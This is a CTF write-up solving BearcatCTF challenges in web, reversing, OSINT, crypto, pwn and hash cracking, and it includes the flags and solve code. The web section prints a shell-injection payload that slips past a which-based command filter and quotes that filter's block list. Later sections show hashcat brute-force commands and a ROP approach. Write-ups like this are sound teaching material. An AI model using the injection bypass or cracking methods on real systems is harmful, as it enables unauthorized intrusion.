Web
global-redirect: 100
A new “world-class” website is claiming to have top-tier security worthy of an international stage. Unfortunately for them, their defenses are far from impressive. Show how easy it is to navigate their weaknesses and gain admin access.
This challenge presents us with a login page. First course of action is to look at the source. We see this Javascript:
function loginAuthenticate(){
var password = document.getElementById("password");
var hash = sjcl.hash.sha256.hash(password);
var hexRepresentation = sjcl.codec.hex.fromBits(hash);
if (hexRepresentation == "2a70282a868c0ca9e6fe5bb5cf2ac2ea6b523062102bada26fb87091d511e3f1"){
alert("welcome Home Admin");
window.location = "./0078f62f00305b73de6ccace8f9fc1f68a8f1dcec865d33fcacbaf255ddefaa7";
}else{
alert("Incorrect Password. Please Try Again");
}
alert(hash);
}
Great, we can just bypass the authentication and go directly to the redirect!
Navigating to http://chal.bearcatctf.io:39724/0078f62f00305b73de6ccace8f9fc1f68a8f1dcec865d33fcacbaf255ddefaa7
gives us the flag: BCCTF{T1ck3t_t0_0wn3rsh1p!}
.
unhealthy 2 the sequel: 500
It seems that some people couldn’t wait for me to finish before they started hacking. Well now I have a brand new extra-secure firewall in place! Have fun with that!
We are greeted with a landing page that says “Under development”.
This time, the robots.txt
hints to us that we need to check: http://chal.bearcatctf.io:30812/health-check.
This page seems to ask us for an IP and returns an output that suspiciously looks like the CLI output from ping
:
Health response: PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=255 time=0.017 ms --- 127.0.0.1 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.017/0.017/0.017/0.000 ms
This prompted me to try shell injection.
After some trial and error, I discovered that 127.0.0.1; ba""sh -c 'ls'
worked.
Here’s the app.py code:
splits = ['||','&&',';','&','|','<','>']
def validate(cmd : str):
if '$(' in cmd: return False
if '\\' in cmd: return False
if cmd.count('`') > 1: return False
if 'IFS' in cmd: return False
if 'flag.txt' in cmd: return False
parts = [cmd]
for s in splits:
nparts = []
for l in [p.split(s) for p in parts]:
nparts += l
parts = nparts
parts = [p.strip() for p in parts]
for p in parts:
c = p.split()[0]
if run(['which',c],capture_output=True).stdout:
return False
return True
It seems like as long as all of our bash commands are not valid under which
, we’re free to go ahead and run it.
But the which
command does not use the shell, whereas the ping
command does, so we can use the shell injection trick of adding empty quoted strings into our commands, like this: ba""sh
.
This will not trip the validation script, but will run bash as we expected.
I also noticed flag.txt
is explicitly disallowed.
I found flag.txt
lying in /
.
Now, I enter the payload: 127.0.0.1; ba""sh -c 'cat /*.txt | base64'
, which returns the flag: BCCTF{M4yb3_!_sH0uld_jus7_f011ow_b3s7_pr4ac7ic3s}
Rev
Say Cheese: 150
ChatGPT made this challenge, I think it has a lot of holes… much like a certain type of food.
cheese.py
Pretty straightforward to reverse; I even asked ChatGPT to reverse it: https://chatgpt.com/share/679fcf7e-87bc-8007-8f97-d9d5e5761a59.
Easy Encrypt: 300
RE is fun but these binary things are so weird!
easy
First, let’s run the binary:
❯ ./easy
I dropped my flag somewhere! Can you find it for me?
asdf
Hmmm... No that isn't right at all.
I honestly did not try to look into how this binary worked, because I wanted to get some experience with angr.
I hadn’t used it before, and there were some troubles with getting it to work, but it finally worked just with simgr.run()
and checking the posix.dumps
to see if the win message was there.
Then I just crunched the solver on all the constraints gathered along the way.
0x1477
0x147b, 0x148c
0x10b0, 0x10b0
0x180a60, 0x180a60
0x148a, 0x149b
0x149b, 0x14b7
0x14b7, 0x400050
0x400050, 0x400050
0x400050
<SimulationManager with 3 deadended>
b"I dropped my flag somewhere! Can you find it for me?\nHmmm... No that isn't right at all.\n"
b"I dropped my flag somewhere! Can you find it for me?\nHmmm... No that isn't right at all.\n"
b'BCCTF{7H47_w4snt_s0_H4rD}\x01\n'
b'I dropped my flag somewhere! Can you find it for me?\nThere it is!\n'
My solve script can be found here.
Shimbles the E-L-F: 450
Shimbles the ELF has encrpyted your data, and wants you to suffer. Show Shimbles humans are not to be trifiled with.
Hint: Look into the decryption cycle super close, the key is hidden behind two layers of bit rotatation and obfuscation.
Shimbles-the-elf
Again, disregarded the hint and used angr, with surprisingly few modifications from Easy Encrypt.
❯ python solve_shimbles.py
<SimulationManager with 1 active, 1 found>
<SimState @ 0x14f2>
b'elfmagic\n'
My solve script can be found here.
Turing Approved: 600
I wrote a flag verification program for this challenge so when you find the flag, you can confirm it’s correct! Aren’t I just the kindest?
NOT ALL ONLINE COMPILERS WORK
verificationProgram
This verification program is a Brainfuck program. I converted the brainfuck to Python using this tool. Then, I printed out the state of the tape right after all of the inputs had been taken. I observed that the flag was lying directly in memory, although on an offset.
Taking each 3rd byte, you get BCCTF{blame_the_swiss}
.
Osint
Been Touring the Arctic: 150
A friend of mine said that if I put this file into Google Earth, it’ll bring me to his favorite animal from the rainforests of Southeast Asia. I’ll take his word for it. The flag is the animal’s scientific name, with an underscore instead of a space.
For example:
animal.kmlBCCTF{scientific_name}
Opening this file with Google Earth, we find that the location is: https://maps.app.goo.gl/8ZfTa7RAooLqQTcx5
This is a bearcat, whose scientific name is the Arctictis binturong.
Thus, the flag is BCCTF{Arctictis_binturong}
Building Breakers: 200
Hackers have been sighted lurking around this building. Include the building’s name in the flag, using underscores to separate words if necessary.
For example:
building.pngBCCTF{University_of_Cincinnati}
A quick Google image reverse search tells us this is the Swiss National Museum.
The flag is BCCTF{Swiss_National_Museum}
Crypto
sqRSA: 400
Im having trouble with this RSA stuff. I think I’m doing it right but it keeps giving me an error! Can you get my program to work?
sqRSA.py output.txt
This is actually the Rabin cryptosystem, since we additionally satisfy the conditions that p%4==3
and q%4==3
.
I implemented this off of the Wikipedia page above:
from gmpy2 import *
from Crypto.Util.number import *
mp = pow(c, (p + 1) // 4, p)
mq = pow(c, (q + 1) // 4, q)
_, yp, yq = gcdext(p, q)
r1 = (yp * p * mq + yq * q * mp) % n
r2 = n - r1
r3 = (yp * p * mq - yq * q * mp) % n
r4 = n - r3
for choice in [r1, r2, r3, r4]:
print(long_to_bytes(choice))
The output contained the flag:
b'gk\xc1\x0el`"8q\xaf\xe35\x8d\xb8\xa0Q\x1c\xc7f{v\xf0\xec4\xf3\x15\xd9\'\xfc\xae\xad\x89\xe9$4>\xea\x81\ x97\xef[\x90\xe9Uj8\x88\x1b4\xcb\x00!*\xffR\xf3\x02\x8b\xbc\xf8n\x1c\xeddH]\xdf\x9d\xa8\xab\xce\x9b\xec\x d0\xef\xc14\xd5X~\x80A:U\xec\xa2\xfeGX`\xceg\xc0\x19\xcd@XE\xfb\xe439@\xa38\xc0O/(3\x1d\x16\xf1\xae\xa7\x8e\xa0\xadqaSH\x8d\x93\xeag\x8c\x8f'
b'\nc$\x11\x04\xe8\xab9=4H\xa4dy\xa6\xfa\x04\x05\x8b\xe1\xaa\x0eu\xa3\xe6\xe8\x1c\xf3\x00\x89\xa0\x12\xd6 \x18\x1b\xad\xc4\xf0\x86\x08\xa4\xd4\xc7\x02\xc1h\xf4X\xf6\n\xca\x1e\xe3\x87\xdf\x08\xd4\x99\xc2<\xa6O\x1 c\xddhPW\x1d\xfe-\xbfFV\xdehbi\x14\x8dx\xb2,0\x03b*\xba\xc0\x14\x06\xfcH\xa9\x97\x0c~\xb2\x13\x16\xfa\xcc\xa6\x07\xa5\x83\x03\x14\x955\x1e\r\xc9G\xc7Q\x7fa5\xed\x88\xb6\xa8\x89\xecz\xf5\xe7*'
b'q\xce\xe5\x1fqH\xcdq\xae\xe4+\xd9\xf22GK \xcc\xf2] \xffa\xd8\xd9\xfd\xf6\x1a\xba\xf5\nHx\xc1\x0b}A:\xbe \x95\xcd\x06{\xf8\xb80\x072\xb8\x90j\xde\xabP\xce\xc6\xa2\xbfG\xfb\xe2\x08\xd1\x11Ow\xfdYn\\S\xa8\tu\x1d\ xe9c\xaf\xab\xbc\xf830\x1f\x14\x93~\xcd2-\x90v/v\x9f\x84\xd0\x1e\xd8\xa4\xc5\xa5\x0e\x0e\x81\x89)\x8a#\x16\xf0\xa5\xff;\xbe\xd3\xc7\xa9$\xaf\xcf\xb6\xddF+#9\x7f'
b'BCCTF{Don7_b3_4_squArE_ac6c54f792c90a69b8}::::::::::::::::::::::::::::::::::::::::::::::::::::::::::'
Times to Die: 700
We noticed some suspicious traffic on our network. We think an attacker may have hacked one of our workstations and exfiltrated our flag! We also found this strange python program that may have something to do with it.
server.py traffic.pcapng
Looking at the server file first, it’s clear to us that this is cleartext TCP traffic, being sent to port 1337.
The encryption being done only depends on time, which we have from the packet capture.
First, let’s dump the relevant information:
$ tshark -r traffic.pcapng -Y 'tcp.dstport == 1337' -T fields -E header=y -E separator=, -e frame.time_epoch -e data
frame.time_epoch,data
1738088099.839446000,
1738088099.860704000,
1738088099.860829000,9d80c4df97fe91a0bb2867c78700c43c4eeb92770ea6ca6934bbcd5ffd40d548aba049344921e1db129e94a382f6678d
1738088099.860853000,
The only important field is the one that has the payload. One hiccup is that because we are multiplying the time by 2^16, we need sub-second accuracy. Instead of that, I just brute-forced all the possible seeds around the time we are given:
flag_enc = bytes.fromhex("9d80c4df97fe91a0bb2867c78700c43c4eeb92770ea6ca6934bbcd5ffd40d548aba049344921e1db129e94a382f6678d")
t = 1738088099.860829000
import random
def xor(bytes1, bytes2):
return bytes(a ^ b for a, b in zip(bytes1, bytes2))
ran = 50000
for td in range(-ran, ran):
k = int(t * 2**16)
random.seed(k + td)
res = []
for i in range(0, 52, 4):
r = random.randbytes(4)
pt_block = xor(flag_enc[i:i+4], r)
res.append(pt_block)
f = b"".join(res)
if b"BCCTF" in f:
print(f)
This crunches for a bit and spits out our flag:
❯ python solve-times-to-die.py
b'BCCTF{175_n07_5Ymb0lic_itS_jU57_Hum4n_n47ure}\x03\x03\x03'
Pwn
CallingConvention: 500
You’ve almost got a good grasp on this. Time to think past your function variables. Make Mudge proud
nc chal.bearcatctf.io 39440
calling_convention.zip
We are given a binary that contains several functions that look like dead code. It seems clear we need to perform a ROP attack. Fortunately, we can use pwntools to create this attack.
First, we need to figure out what order these functions need to be called, since some of them overwrite the others. The order is:
- number3
- food
- set_key1
- ahhhhhhhh
- number3 (again)
Putting this ROP chain together, we can override the 8-bit buffer we are provided and start returning to our desired functions.
See the solve script here.
Hashing
Curly Password: 600
A modern approach to secure passwords is to use passphrases to create easy to remember and long passwords. A user used this techinque however they picked 3 words from our home page to use separated by underscores (”_”). They also thought it would be funny to wrap it in our slug. The flag is the password.
eb02e84ccdc45f873c633846efa027b4726a9552a7dad42927ec627e929a500d
For example, the passsword may be
BCCTF{word1_word2_word3}
This is a straightforward dictionary attack, implementable in Python by just grabbing the words straight off of https://bearcatctf.io. The word list is scraped homepage.txt.
I cleaned it up a bit:
cat homepage.txt | tr ' ' '\n' | sort | uniq > words.txt
Then, we can just brute-force it easily with Python:
from hashlib import sha256
goal = bytes.fromhex("eb02e84ccdc45f873c633846efa027b4726a9552a7dad42927ec627e929a500d")
words = list(map(lambda s: s.strip(), open("words.txt").readlines()))
for a in words:
for b in words:
for c in words:
w = bytes(f"BCCTF{{{a}_{b}_{c}}}", "utf-8")
if sha256(w).digest() == goal:
print(w)
This returns very quickly:
b'BCCTF{sponsor_cybersecurity_Innovation}'
City Crack: 850
International hackers have left two different encrypted hashes behind. The first hash is
1fae39b5bc83699450281dc7bb472d59
, and the second hash is5f6b9145ac86d19e917a08e6c20de0c907472a90
. To find the flag, decrypt both hashes and combine the results in alphabetical order, separated by an underscore. These paswords are based off of capital cites with some modifications.
Initially, I tried using a dictionary attack, but I decided to also give brute force a try, and it finished faster (and proved that the dictionary attack would not have worked!)
The first one is an MD5 hash:
❯ ./hashcat -m 0 -a 3 -1 "?l?d?s?u" --increment 1fae39b5bc83699450281dc7bb472d59 "?1?1?1?1?1?1?1?1"
...
1fae39b5bc83699450281dc7bb472d59:T0kyO
...
The next one is SHA1:
❯ ./hashcat -m 100 -a 3 -1 "?l?d?s?u" --increment 5f6b9145ac86d19e917a08e6c20de0c907472a90 "?1?1?1?1?1?1?1?1"
...
5f6b9145ac86d19e917a08e6c20de0c907472a90:p@R!s
...
Putting them in alphabetical order, the flag is BCCTF{p@R!s_T0kyO}
.
Conclusion
Overall I had a lot of fun with this CTF, though I wish they went with dynamic scoring though since some of the challenges seemed a little bit easier than their point values.